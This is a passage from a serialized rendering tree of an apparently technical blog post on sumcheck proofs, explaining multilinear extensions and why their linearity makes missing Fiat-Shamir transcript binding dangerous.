:21,"tag":198,"props":112362,"children":112364},{"className":112363},[4822,22381,4870],[112365],{"type":27,"value":4544},{"type":21,"tag":198,"props":112367,"children":112369},{"className":112368},[4907,4870],[112370],{"type":27,"value":4881},{"type":21,"tag":198,"props":112372,"children":112374},{"className":112373},[4822,4870],[112375],{"type":27,"value":134},{"type":21,"tag":198,"props":112377,"children":112379},{"className":112378},[22538],[112380],{"type":27,"value":22541},{"type":21,"tag":198,"props":112382,"children":112384},{"className":112383},[4847],[112385],{"type":21,"tag":198,"props":112386,"children":112388},{"className":112387,"style":110899},[4852],[112389],{"type":21,"tag":198,"props":112390,"children":112391},{},[],{"type":27,"value":112393},"! By induction, the final claim is linear in the original ",{"type":21,"tag":194,"props":112395,"children":112397},{"className":112396},[4794,4795],[112398],{"type":21,"tag":198,"props":112399,"children":112401},{"className":112400},[4800],[112402],{"type":21,"tag":198,"props":112403,"children":112405},{"className":112404,"ariaHidden":4806},[4805],[112406],{"type":21,"tag":198,"props":112407,"children":112409},{"className":112408},[4811],[112410,112414],{"type":21,"tag":198,"props":112411,"children":112413},{"className":112412,"style":22376},[4816],[],{"type":21,"tag":198,"props":112415,"children":112417},{"className":112416,"style":93663},[4822,22381],[112418],{"type":27,"value":93666},{"type":27,"value":112420},". If ",{"type":21,"tag":194,"props":112422,"children":112424},{"className":112423},[4794,4795],[112425],{"type":21,"tag":198,"props":112426,"children":112428},{"className":112427},[4800],[112429],{"type":21,"tag":198,"props":112430,"children":112432},{"className":112431,"ariaHidden":4806},[4805],[112433],{"type":21,"tag":198,"props":112434,"children":112436},{"className":112435},[4811],[112437,112441],{"type":21,"tag":198,"props":112438,"children":112440},{"className":112439,"style":22376},[4816],[],{"type":21,"tag":198,"props":112442,"children":112444},{"className":112443,"style":93663},[4822,22381],[112445],{"type":27,"value":93666},{"type":27,"value":112447}," isn't in the transcript, we can solve for it.",{"type":21,"tag":59,"props":112449,"children":112451},{"id":112450},"multilinear-extensions-mles",[112452],{"type":27,"value":112453},"Multilinear Extensions (MLEs)",{"type":21,"tag":30,"props":112455,"children":112456},{},[112457,112459,112544],{"type":27,"value":112458},"An MLE is just the polynomial view of a table over ",{"type":21,"tag":194,"props":112460,"children":112462},{"className":112461},[4794,4795],[112463],{"type":21,"tag":198,"props":112464,"children":112466},{"className":112465},[4800],[112467],{"type":21,"tag":198,"props":112468,"children":112470},{"className":112469,"ariaHidden":4806},[4805],[112471],{"type":21,"tag":198,"props":112472,"children":112474},{"className":112473},[4811],[112475,112479,112484,112489,112494,112498,112503],{"type":21,"tag":198,"props":112476,"children":112478},{"className":112477,"style":4922},[4816],[],{"type":21,"tag":198,"props":112480,"children":112482},{"className":112481},[22510],[112483],{"type":27,"value":77000},{"type":21,"tag":198,"props":112485,"children":112487},{"className":112486},[4822],[112488],{"type":27,"value":3482},{"type":21,"tag":198,"props":112490,"children":112492},{"className":112491},[4933],[112493],{"type":27,"value":2205},{"type":21,"tag":198,"props":112495,"children":112497},{"className":112496,"style":4939},[4901],[],{"type":21,"tag":198,"props":112499,"children":112501},{"className":112500},[4822],[112502],{"type":27,"value":134},{"type":21,"tag":198,"props":112504,"children":112506},{"className":112505},[22532],[112507,112512],{"type":21,"tag":198,"props":112508,"children":112510},{"className":112509},[22532],[112511],{"type":27,"value":779},{"type":21,"tag":198,"props":112513,"children":112515},{"className":112514},[4837],[112516],{"type":21,"tag":198,"props":112517,"children":112519},{"className":112518},[4842],[112520],{"type":21,"tag":198,"props":112521,"children":112523},{"className":112522},[4847],[112524],{"type":21,"tag":198,"props":112525,"children":112527},{"className":112526,"style":109146},[4852],[112528],{"type":21,"tag":198,"props":112529,"children":112530},{"style":4856},[112531,112535],{"type":21,"tag":198,"props":112532,"children":112534},{"className":112533,"style":4862},[4861],[],{"type":21,"tag":198,"props":112536,"children":112538},{"className":112537},[4867,4868,4869,4870],[112539],{"type":21,"tag":198,"props":112540,"children":112542},{"className":112541},[4822,22381,4870],[112543],{"type":27,"value":56780},{"type":27,"value":112545},": it matches the table on Boolean points and extends it to field points.",{"type":21,"tag":30,"props":112547,"children":112548},{},[112549],{"type":27,"value":112550},"For this post, the only property you need is:",{"type":21,"tag":30,"props":112552,"children":112553},{},[112554],{"type":21,"tag":194,"props":112555,"children":112557},{"className":112556},[4794,4795],[112558],{"type":21,"tag":198,"props":112559,"children":112561},{"className":112560},[4800],[112562],{"type":21,"tag":198,"props":112563,"children":112565},{"className":112564,"ariaHidden":4806},[4805],[112566,112728,113000],{"type":21,"tag":198,"props":112567,"children":112569},{"className":112568},[4811],[112570,112575,112644,112649,112710,112715,112719,112724],{"type":21,"tag":198,"props":112571,"children":112574},{"className":112572,"style":112573},[4816],"height:1.1813em;vertical-align:-0.25em;",[],{"type":21,"tag":198,"props":112576,"children":112579},{"className":112577},[4822,112578],"accent",[112580],{"type":21,"tag":198,"props":112581,"children":112583},{"className":112582},[4842,22435],[112584,112632],{"type":21,"tag":198,"props":112585,"children":112587},{"className":112586},[4847],[112588,112627],{"type":21,"tag":198,"props":112589,"children":112592},{"className":112590,"style":112591},[4852],"height:0.9313em;",[112593,112607],{"type":21,"tag":198,"props":112594,"children":112596},{"style":112595},"top:-3em;",[112597,112602],{"type":21,"tag":198,"props":112598,"children":112601},{"className":112599,"style":112600},[4861],"height:3em;",[],{"type":21,"tag":198,"props":112603,"children":112605},{"className":112604,"style":95783},[4822,22381],[112606],{"type":27,"value":33864},{"type":21,"tag":198,"props":112608,"children":112610},{"style":112609},"top:-3.6134em;",[112611,112615],{"type":21,"tag":198,"props":112612,"children":112614},{"className":112613,"style":112600},[4861],[],{"type":21,"tag":198,"props":112616,"children":112620},{"className":112617,"style":112619},[112618],"accent-body","left:-0.0833em;",[112621],{"type":21,"tag":198,"props":112622,"children":112624},{"className":112623},[4822],[112625],{"type":27,"value":112626},"~",{"type":21,"tag":198,"props":112628,"children":112630},{"className":112629},[22538],[112631],{"type":27,"value":22541},{"type":21,"tag":198,"props":112633,"children":112635},{"className":112634},[4847],[112636],{"type":21,"tag":198,"props":112637,"children":112640},{"className":112638,"style":112639},[4852],"height:0.1944em;",[112641],{"type":21,"tag":198,"props":112642,"children":112643},{},[],{"type":21,"tag":198,"props":112645,"children":112647},{"className":112646},[22510],[112648],{"type":27,"value":706},{"type":21,"tag":198,"props":112650,"children":112652},{"className":112651},[4822,112578],[112653],{"type":21,"tag":198,"props":112654,"children":112656},{"className":112655},[4842],[112657],{"type":21,"tag":198,"props":112658,"children":112660},{"className":112659},[4847],[112661],{"type":21,"tag":198,"props":112662,"children":112665},{"className":112663,"style":112664},[4852],"height:0.714em;",[112666,112678],{"type":21,"tag":198,"props":112667,"children":112668},{"style":112595},[112669,112673],{"type":21,"tag":198,"props":112670,"children":112672},{"className":112671,"style":112600},[4861],[],{"type":21,"tag":198,"props":112674,"children":112676},{"className":112675,"style":93429},[4822,22381],[112677],{"type":27,"value":94248},{"type":21,"tag":198,"props":112679,"children":112680},{"style":112595},[112681,112685],{"type":21,"tag":198,"props":112682,"children":112684},{"className":112683,"style":112600},[4861],[],{"type":21,"tag":198,"props":112686,"children":112689},{"className":112687,"style":112688},[112618],"left:-0.1799em;",[112690],{"type":21,"tag":198,"props":112691,"children":112695},{"className":112692,"style":112694},[112693],"overlay","height:0.714em;width:0.471em;",[112696],{"type":21,"tag":35050,"props":112697,"children":112704},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[112705],{"type":21,"tag":112706,"props":112707,"children":112709},"path",{"d":112708},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":21,"tag":198,"props":112711,"children":112713},{"className":112712},[22532],[112714],{"type":27,"value":2109},{"type":21,"tag":198,"props":112716,"children":112718},{"className":112717,"style":4998},[4901],[],{"type":21,"tag":198,"props":112720,"children":112722},{"className":112721},[5003],[112723],{"type":27,"value":3174},{"type":21,"tag":198,"props":112725,"children":112727},{"className":112726,"style":4998},[4901],[],{"type":21,"tag":198,"props":112729,"children":112731},{"className":112730},[4811],[112732,112737,112918,112922,112927,112932,112982,112987,112991,112996],{"type":21,"tag":198,"props":112733,"children":112736},{"className":112734,"style":112735},[4816],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":21,"tag":198,"props":112738,"children":112740},{"className":112739},[22417],[112741,112746],{"type":21,"tag":198,"props":112742,"children":112744},{"className":112743,"style":22424},[22417,22422,22423],[112745],{"type":27,"value":109224},{"type":21,"tag":198,"props":112747,"children":112749},{"className":112748},[4837],[112750],{"type":21,"tag":198,"props":112751,"children":112753},{"className":112752},[4842,22435],[112754,112906],{"type":21,"tag":198,"props":112755,"children":112757},{"className":112756},[4847],[112758,112901],{"type":21,"tag":198,"props":112759,"children":112762},{"className":112760,"style":112761},[4852],"height:0.3448em;",[112763],{"type":21,"tag":198,"props":112764,"children":112766},{"style":112765},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[112767,112771],{"type":21,"tag":198,"props":112768,"children":112770},{"className":112769,"style":4862},[4861],[],{"type":21,"tag":198,"props":112772,"children":112774},{"className":112773},[4867,4868,4869,4870],[112775],{"type":21,"tag":198,"props":112776,"children":112778},{"className":112777},[4822,4870],[112779,112833,112838,112843,112848,112853,112858],{"type":21,"tag":198,"props":112780,"children":112782},{"className":112781},[4822,112578,4870],[112783],{"type":21,"tag":198,"props":112784,"children":112786},{"className":112785},[4842],[112787],{"type":21,"tag":198,"props":112788,"children":112790},{"className":112789},[4847],[112791],{"type":21,"tag":198,"props":112792,"children":112795},{"className":112793,"style":112794},[4852],"height:0.9774em;",[112796,112810],{"type":21,"tag":198,"props":112797,"children":112799},{"style":112798},"top:-2.714em;",[112800,112805],{"type":21,"tag":198,"props":112801,"children":112804},{"className":112802,"style":112803},[4861],"height:2.714em;",[],{"type":21,"tag":198,"props":112806,"children":112808},{"className":112807},[4822,22381,4870],[112809],{"type":27,"value":4029},{"type":21,"tag":198,"props":112811,"children":112813},{"style":112812},"top:-2.9774em;",[112814,112818],{"type":21,"tag":198,"props":112815,"children":112817},{"className":112816,"style":112803},[4861],[],{"type":21,"tag":198,"props":112819,"children":112822},{"className":112820,"style":112821},[112618],"left:-0.2355em;",[112823],{"type":21,"tag":198,"props":112824,"children":112826},{"className":112825,"style":112694},[112693,4870],[112827],{"type":21,"tag":35050,"props":112828,"children":112829},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},[112830],{"type":21,"tag":112706,"props":112831,"children":112832},{"d":112708},[],{"type":21,"tag":198,"props":112834,"children":112836},{"className":112835},[5003,4870],[112837],{"type":27,"value":22488},{"type":21,"tag":198,"props":112839,"children":112841},{"className":112840},[22510,4870],[112842],{"type":27,"value":77000},{"type":21,"tag":198,"props":112844,"children":112846},{"className":112845},[4822,4870],[112847],{"type":27,"value":3482},{"type":21,"tag":198,"props":112849,"children":112851},{"className":112850},[4933,4870],[112852],{"type":27,"value":2205},{"type":21,"tag":198,"props":112854,"children":112856},{"className":112855},[4822,4870],[112857],{"type":27,"value":134},{"type":21,"tag":198,"props":112859,"children":112861},{"className":112860},[22532,4870],[112862,112867],{"type":21,"tag":198,"props":112863,"children":112865},{"className":112864},[22532,4870],[112866],{"type":27,"value":779},{"type":21,"tag":198,"props":112868,"children":112870},{"className":112869},[4837],[112871],{"type":21,"tag":198,"props":112872,"children":112874},{"className":112873},[4842],[112875],{"type":21,"tag":198,"props":112876,"children":112878},{"className":112877},[4847],[112879],{"type":21,"tag":198,"props":112880,"children":112883},{"className":112881,"style":112882},[4852],"height:0.5935em;",[112884],{"type":21,"tag":198,"props":112885,"children":112887},{"style":112886},"top:-2.786em;margin-right:0.0714em;",[112888,112892],{"type":21,"tag":198,"props":112889,"children":112891},{"className":112890,"style":109289},[4861],[],{"type":21,"tag":198,"props":112893,"children":112895},{"className":112894},[4867,109294,109295,4870],[112896],{"type":21,"tag":198,"props":112897,"children":112899},{"className":112898},[4822,22381,4870],[112900],{"type":27,"value":56780},{"type":21,"tag":198,"props":112902,"children":112904},{"className":112903},[22538],[112905],{"type":27,"value":22541},{"type":21,"tag":198,"props":112907,"children":112909},{"className":112908},[4847],[112910],{"type":21,"tag":198,"props":112911,"children":112914},{"className":112912,"style":112913},[4852],"height:0.5144em;",[112915],{"type":21,"tag":198,"props":112916,"children":112917},{},[],{"type":21,"tag":198,"props":112919,"children":112921},{"className":112920,"style":4939},[4901],[],{"type":21,"tag":198,"props":112923,"children":112925},{"className":112924,"style":95783},[4822,22381],[112926],{"type":27,"value":33864},{"type":21,"tag":198,"props":112928,"children":112930},{"className":112929},[22510],[112931],{"type":27,"value":706},{"type":21,"tag":198,"props":112933,"children":112935},{"className":112934},[4822,112578],[112936],{"type":21,"tag":198,"props":112937,"children":112939},{"className":112938},[4842],[112940],{"type":21,"tag":198,"props":112941,"children":112943},{"className":112942},[4847],[112944],{"type":21,"tag":198,"props":112945,"children":112947},{"className":112946,"style":112794},[4852],[112948,112960],{"type":21,"tag":198,"props":112949,"children":112950},{"style":112595},[112951,112955],{"type":21,"tag":198,"props":112952,"children":112954},{"className":112953,"style":112600},[4861],[],{"type":21,"tag":198,"props":112956,"children":112958},{"className":112957},[4822,22381],[112959],{"type":27,"value":4029},{"type":21,"tag":198,"props":112961,"children":112963},{"style":112962},"top:-3.2634em;",[112964,112968],{"type":21,"tag":198,"props":112965,"children":112967},{"className":112966,"style":112600},[4861],[],{"type":21,"tag":198,"props":112969,"children":112971},{"className":112970,"style":112821},[112618],[112972],{"type":21,"tag":198,"props":112973,"children":112975},{"className":112974,"style":112694},[112693],[112976],{"type":21,"tag":35050,"props":112977,"children":112978},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},[112979],{"type":21,"tag":112706,"props":112980,"children":112981},{"d":112708},[],{"type":21,"tag":198,"props":112983,"children":112985},{"className":112984},[22532],[112986],{"type":27,"value":2109},{"type":21,"tag":198,"props":112988,"children":112990},{"className":112989,"style":4902},[4901],[],{"type":21,"tag":198,"props":112992,"children":112994},{"className":112993},[4907],[112995],{"type":27,"value":111691},{"type":21,"tag":198,"props":112997,"children":112999},{"className":112998,"style":4902},[4901],[],{"type":21,"tag":198,"props":113001,"children":113003},{"className":113002},[4811],[113004,113009,113019,113024,113073,113078,113082,113131],{"type":21,"tag":198,"props":113005,"children":113008},{"className":113006,"style":113007},[4816],"height:1.2274em;vertical-align:-0.25em;",[],{"type":21,"tag":198,"props":113010,"children":113012},{"className":113011},[4822,27],[113013],{"type":21,"tag":198,"props":113014,"children":113016},{"className":113015},[4822],[113017],{"type":27,"value":113018},"eq",{"type":21,"tag":198,"props":113020,"children":113022},{"className":113021},[22510],[113023],{"type":27,"value":706},{"type":21,"tag":198,"props":113025,"children":113027},{"className":113026},[4822,112578],[113028],{"type":21,"tag":198,"props":113029,"children":113031},{"className":113030},[4842],[113032],{"type":21,"tag":198,"props":113033,"children":113035},{"className":113034},[4847],[113036],{"type":21,"tag":198,"props":113037,"children":113039},{"className":113038,"style":112794},[4852],[113040,113052],{"type":21,"tag":198,"props":113041,"children":113042},{"style":112595},[113043,113047],{"type":21,"tag":198,"props":113044,"children":113046},{"className":113045,"style":112600},[4861],[],{"type":21,"tag":198,"props":113048,"children":113050},{"className":113049},[4822,22381],[113051],{"type":27,"value":4029},{"type":21,"tag":198,"props":113053,"children":113054},{"style":112962},[113055,113059],{"type":21,"tag":198,"props":113056,"children":113058},{"className":113057,"style":112600},[4861],[],{"type":21,"tag":198,"props":113060,"children":113062},{"className":113061,"style":112821},[112618],[113063],{"type":21,"tag":198,"props":113064,"children":113066},{"className":113065,"style":112694},[112693],[113067],{"type":21,"tag":35050,"props":113068,"children":113069},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},[113070],{"type":21,"tag":112706,"props":113071,"children":113072},{"d":112708},[],{"type":21,"tag":198,"props":113074,"children":113076},{"className":113075},[4933],[113077],{"type":27,"value":2205},{"type":21,"tag":198,"props":113079,"children":113081},{"className":113080,"style":4939},[4901],[],{"type":21,"tag":198,"props":113083,"children":113085},{"className":113084},[4822,112578],[113086],{"type":21,"tag":198,"props":113087,"children":113089},{"className":113088},[4842],[113090],{"type":21,"tag":198,"props":113091,"children":113093},{"className":113092},[4847],[113094],{"type":21,"tag":198,"props":113095,"children":113097},{"className":113096,"style":112664},[4852],[113098,113110],{"type":21,"tag":198,"props":113099,"children":113100},{"style":112595},[113101,113105],{"type":21,"tag":198,"props":113102,"children":113104},{"className":113103,"style":112600},[4861],[],{"type":21,"tag":198,"props":113106,"children":113108},{"className":113107,"style":93429},[4822,22381],[113109],{"type":27,"value":94248},{"type":21,"tag":198,"props":113111,"children":113112},{"style":112595},[113113,113117],{"type":21,"tag":198,"props":113114,"children":113116},{"className":113115,"style":112600},[4861],[],{"type":21,"tag":198,"props":113118,"children":113120},{"className":113119,"style":112688},[112618],[113121],{"type":21,"tag":198,"props":113122,"children":113124},{"className":113123,"style":112694},[112693],[113125],{"type":21,"tag":35050,"props":113126,"children":113127},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},[113128],{"type":21,"tag":112706,"props":113129,"children":113130},{"d":112708},[],{"type":21,"tag":198,"props":113132,"children":113134},{"className":113133},[22532],[113135],{"type":27,"value":2109},{"type":21,"tag":30,"props":113137,"children":113138},{},[113139,113141,113210,113212,113358,113360,113499,113501,113585],{"type":27,"value":113140},"At a fixed challenge point ",{"type":21,"tag":194,"props":113142,"children":113144},{"className":113143},[4794,4795],[113145],{"type":21,"tag":198,"props":113146,"children":113148},{"className":113147},[4800],[113149],{"type":21,"tag":198,"props":113150,"children":113152},{"className":113151,"ariaHidden":4806},[4805],[113153],{"type":21,"tag":198,"props":113154,"children":113156},{"className":113155},[4811],[113157,113161],{"type":21,"tag":198,"props":113158,"children":113160},{"className":113159,"style":112664},[4816],[],{"type":21,"tag":198,"props":113162,"children":113164},{"className":113163},[4822,112578],[113165],{"type":21,"tag":198,"props":113166,"children":113168},{"className":113167},[4842],[113169],{"type":21,"tag":198,"props":113170,"children":113172},{"className":113171},[4847],[113173],{"type":21,"tag":198,"props":113174,"children":113176},{"className":113175,"style":112664},[4852],[113177,113189],{"type":21,"tag":198,"props":113178,"children":113179},{"style":112595},[113180,113184],{"type":21,"tag":198,"props":113181,"children":113183},{"className":113182,"style":112600},[4861],[],{"type":21,"tag":198,"props":113185,"children":113187},{"className":113186,"style":93429},[4822,22381],[113188],{"type":27,"value":94248},{"type":21,"tag":198,"props":113190,"children":113191},{"style":112595},[113192,113196],{"type":21,"tag":198,"props":113193,"children":113195},{"className":113194,"style":112600},[4861],[],{"type":21,"tag":198,"props":113197,"children":113199},{"className":113198,"style":112688},[112618],[113200],{"type":21,"tag":198,"props":113201,"children":113203},{"className":113202,"style":112694},[112693],[113204],{"type":21,"tag":35050,"props":113205,"children":113206},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},[113207],{"type":21,"tag":112706,"props":113208,"children":113209},{"d":112708},[],{"type":27,"value":113211},", the coefficients ",{"type":21,"tag":194,"props":113213,"children":113215},{"className":113214},[4794,4795],[113216],{"type":21,"tag":198,"props":113217,"children":113219},{"className":113218},[4800],[113220],{"type":21,"tag":198,"props":113221,"children":113223},{"className":113222,"ariaHidden":4806},[4805],[113224],{"type":21,"tag":198,"props":113225,"children":113227},{"className":113226},[4811],[113228,113232,113241,113246,113295,113300,113304,113353],{"type":21,"tag":198,"props":113229,"children":113231},{"className":113230,"style":113007},[4816],[],{"type":21,"tag":198,"props":113233,"children":113235},{"className":113234},[4822,27],[113236],{"type":21,"tag":198,"props":113237,"children":113239},{"className":113238},[4822],[113240],{"type":27,"value":113018},{"type":21,"tag":198,"props":113242,"children":113244},{"className":113243},[22510],[113245],{"type":27,"value":706},{"type":21,"tag":198,"props":113247,"children":113249},{"className":113248},[4822,112578],[113250],{"type":21,"tag":198,"props":113251,"children":113253},{"className":113252},[4842],[113254],{"type":21,"tag":198,"props":113255,"children":113257},{"className":113256},[4847],[113258],{"type":21,"tag":198,"props":113259,"children":113261},{"className":113260,"style":112794},[4852],[113262,113274],{"type":21,"tag":198,"props":113263,"children":113264},{"style":112595},[113265,113269],{"type":21,"tag":198,"props":113266,"children":113268},{"className":113267,"style":112600},[4861],[],{"type":21,"tag":198,"props":113270,"children":113272},{"className":113271},[4822,22381],[113273],{"type":27,"value":4029},{"type":21,"tag":198,"props":113275,"children":113276},{"style":112962},[113277,113281],{"type":21,"tag":198,"props":113278,"children":113280},{"className":113279,"style":112600},[4861],[],{"type":21,"tag":198,"props":113282,"children":113284},{"className":113283,"style":112821},[112618],[113285],{"type":21,"tag":198,"props":113286,"children":113288},{"className":113287,"style":112694},[112693],[113289],{"type":21,"tag":35050,"props":113290,"children":113291},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},[113292],{"type":21,"tag":112706,"props":113293,"children":113294},{"d":112708},[],{"type":21,"tag":198,"props":113296,"children":113298},{"className":113297},[4933],[113299],{"type":27,"value":2205},{"type":21,"tag":198,"props":113301,"children":113303},{"className":113302,"style":4939},[4901],[],{"type":21,"tag":198,"props":113305,"children":113307},{"className":113306},[4822,112578],[113308],{"type":21,"tag":198,"props":113309,"children":113311},{"className":113310},[4842],[113312],{"type":21,"tag":198,"props":113313,"children":113315},{"className":113314},[4847],[113316],{"type":21,"tag":198,"props":113317,"children":113319},{"className":113318,"style":112664},[4852],[113320,113332],{"type":21,"tag":198,"props":113321,"children":113322},{"style":112595},[113323,113327],{"type":21,"tag":198,"props":113324,"children":113326},{"className":113325,"style":112600},[4861],[],{"type":21,"tag":198,"props":113328,"children":113330},{"className":113329,"style":93429},[4822,22381],[113331],{"type":27,"value":94248},{"type":21,"tag":198,"props":113333,"children":113334},{"style":112595},[113335,113339],{"type":21,"tag":198,"props":113336,"children":113338},{"className":113337,"style":112600},[4861],[],{"type":21,"tag":198,"props":113340,"children":113342},{"className":113341,"style":112688},[112618],[113343],{"type":21,"tag":198,"props":113344,"children":113346},{"className":113345,"style":112694},[112693],[113347],{"type":21,"tag":35050,"props":113348,"children":113349},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},[113350],{"type":21,"tag":112706,"props":113351,"children":113352},{"d":112708},[],{"type":21,"tag":198,"props":113354,"children":113356},{"className":113355},[22532],[113357],{"type":27,"value":2109},{"type":27,"value":113359}," are constants, so ",{"type":21,"tag":194,"props":113361,"children":113363},{"className":113362},[4794,4795],[113364],{"type":21,"tag":198,"props":113365,"children":113367},{"className":113366},[4800],[113368],{"type":21,"tag":198,"props":113369,"children":113371},{"className":113370,"ariaHidden":4806},[4805],[113372],{"type":21,"tag":198,"props":113373,"children":113375},{"className":113374},[4811],[113376,113380,113440,113445,113494],{"type":21,"tag":198,"props":113377,"children":113379},{"className":113378,"style":112573},[4816],[],{"type":21,"tag":198,"props":113381,"children":113383},{"className":113382},[4822,112578],[113384],{"type":21,"tag":198,"props":113385,"children":113387},{"className":113386},[4842,22435],[113388,113429],{"type":21,"tag":198,"props":113389,"children":113391},{"className":113390},[4847],[113392,113424],{"type":21,"tag":198,"props":113393,"children":113395},{"className":113394,"style":112591},[4852],[113396,113408],{"type":21,"tag":198,"props":113397,"children":113398},{"style":112595},[113399,113403],{"type":21,"tag":198,"props":113400,"children":113402},{"className":113401,"style":112600},[4861],[],{"type":21,"tag":198,"props":113404,"children":113406},{"className":113405,"style":95783},[4822,22381],[113407],{"type":27,"value":33864},{"type":21,"tag":198,"props":113409,"children":113410},{"style":112609},[113411,113415],{"type":21,"tag":198,"props":113412,"children":113414},{"className":113413,"style":112600},[4861],[],{"type":21,"tag":198,"props":113416,"children":113418},{"className":113417,"style":112619},[112618],[113419],{"type":21,"tag":198,"props":113420,"children":113422},{"className":113421},[4822],[113423],{"type":27,"value":112626},{"type":21,"tag":198,"props":113425,"children":113427},{"className":113426},[22538],[113428],{"type":27,"value":22541},{"type":21,"tag":198,"props":113430,"children":113432},{"className":113431},[4847],[113433],{"type":21,"tag":198,"props":113434,"children":113436},{"className":113435,"style":112639},[4852],[113437],{"type":21,"tag":198,"props":113438,"children":113439},{},[],{"type":21,"tag":198,"props":113441,"children":113443},{"className":113442},[22510],[113444],{"type":27,"value":706},{"type":21,"tag":198,"props":113446,"children":113448},{"className":113447},[4822,112578],[113449],{"type":21,"tag":198,"props":113450,"children":113452},{"className":113451},[4842],[113453],{"type":21,"tag":198,"props":113454,"children":113456},{"className":113455},[4847],[113457],{"type":21,"tag":198,"props":113458,"children":113460},{"className":113459,"style":112664},[4852],[113461,113473],{"type":21,"tag":198,"props":113462,"children":113463},{"style":112595},[113464,113468],{"type":21,"tag":198,"props":113465,"children":113467},{"className":113466,"style":112600},[4861],[],{"type":21,"tag":198,"props":113469,"children":113471},{"className":113470,"style":93429},[4822,22381],[113472],{"type":27,"value":94248},{"type":21,"tag":198,"props":113474,"children":113475},{"style":112595},[113476,113480],{"type":21,"tag":198,"props":113477,"children":113479},{"className":113478,"style":112600},[4861],[],{"type":21,"tag":198,"props":113481,"children":113483},{"className":113482,"style":112688},[112618],[113484],{"type":21,"tag":198,"props":113485,"children":113487},{"className":113486,"style":112694},[112693],[113488],{"type":21,"tag":35050,"props":113489,"children":113490},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},[113491],{"type":21,"tag":112706,"props":113492,"children":113493},{"d":112708},[],{"type":21,"tag":198,"props":113495,"children":113497},{"className":113496},[22532],[113498],{"type":27,"value":2109},{"type":27,"value":113500}," is linear in the table values ",{"type":21,"tag":194,"props":113502,"children":113504},{"className":113503},[4794,4795],[113505],{"type":21,"tag":198,"props":113506,"children":113508},{"className":113507},[4800],[113509],{"type":21,"tag":198,"props":113510,"children":113512},{"className":113511,"ariaHidden":4806},[4805],[113513],{"type":21,"tag":198,"props":113514,"children":113516},{"className":113515},[4811],[113517,113521,113526,113531,113580],{"type":21,"tag":198,"props":113518,"children":113520},{"className":113519,"style":113007},[4816],[],{"type":21,"tag":198,"props":113522,"children":113524},{"className":113523,"style":95783},[4822,22381],[113525],{"type":27,"value":33864},{"type":21,"tag":198,"props":113527,"children":113529},{"className":113528},[22510],[113530],{"type":27,"value":706},{"type":21,"tag":198,"props":113532,"children":113534},{"className":113533},[4822,112578],[113535],{"type":21,"tag":198,"props":113536,"children":113538},{"className":113537},[4842],[113539],{"type":21,"tag":198,"props":113540,"children":113542},{"className":113541},[4847],[113543],{"type":21,"tag":198,"props":113544,"children":113546},{"className":113545,"style":112794},[4852],[113547,113559],{"type":21,"tag":198,"props":113548,"children":113549},{"style":112595},[113550,113554],{"type":21,"tag":198,"props":113551,"children":113553},{"className":113552,"style":112600},[4861],[],{"type":21,"tag":198,"props":113555,"children":113557},{"className":113556},[4822,22381],[113558],{"type":27,"value":4029},{"type":21,"tag":198,"props":113560,"children":113561},{"style":112962},[113562,113566],{"type":21,"tag":198,"props":113563,"children":113565},{"className":113564,"style":112600},[4861],[],{"type":21,"tag":198,"props":113567,"children":113569},{"className":113568,"style":112821},[112618],[113570],{"type":21,"tag":198,"props":113571,"children":113573},{"className":113572,"style":112694},[112693],[113574],{"type":21,"tag":35050,"props":113575,"children":113576},{"xmlns":112698,"width":112699,"height":112700,"style":112701,"viewBox":112702,"preserveAspectRatio":112703},[113577],{"type":21,"tag":112706,"props":113578,"children":113579},{"d":112708},[],{"type":21,"tag":198,"props":113581,"children":113583},{"className":113582},[22532],[113584],{"type":27,"value":2109},{"type":27,"value":658},{"type":21,"tag":30,"props":113587,"children":113588},{},[113589,113591,113660],{"type":27,"value":113590},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":21,"tag":194,"props":113592,"children":113594},{"className":113593},[4794,4795],[113595],{"type":21,"tag":198,"props":113596,"children":113598},{"className":113597},[4800],[113599],{"type":21,"tag":198,"props":113600,"children":113602},{"className":113601,"ariaHidden":4806},[4805],[113603],{"type":21,"tag":198,"props":113604,"children":113606},{"className":113605},[4811],[113607,113611],{"type":21,"tag":198,"props":113608,"children":113610},{"className":113609,"style":112664},[4816],[],{"type":21,"tag":198,"props":113612,"children":113614},{"className":113613},[4822,112578],[113615],{"type":21,"tag":198,"props":113616,"children":113618},{"className":113617},[4842],[113619],{"type":21,"tag":198,"props":113620,"children":113622},{"className":113621},[4847],[113623],{"type":21,"tag":198,"props":113624,"children":113626},{"className":113625,"style":112664},[4852],[113627,113639],{"type":21,"tag":198,"props":113628,"children":113629},{"style":112595},[113630,113634],{"type":21,"tag":198,"props":113631,"children":113633},{"className":113632,"style":112600},[4861],[],{"type":21,"tag":198,"props":113635,"children":113637},{"className":113636,"style":93429},[4822,22381],[113638],{"type":27,"value":94248},{"type":21,"tag":198,"props":113640,"children":113641},{"style":112595},[113642,113646],{"type":21,"tag":198,"props":113643,"children":113645},{"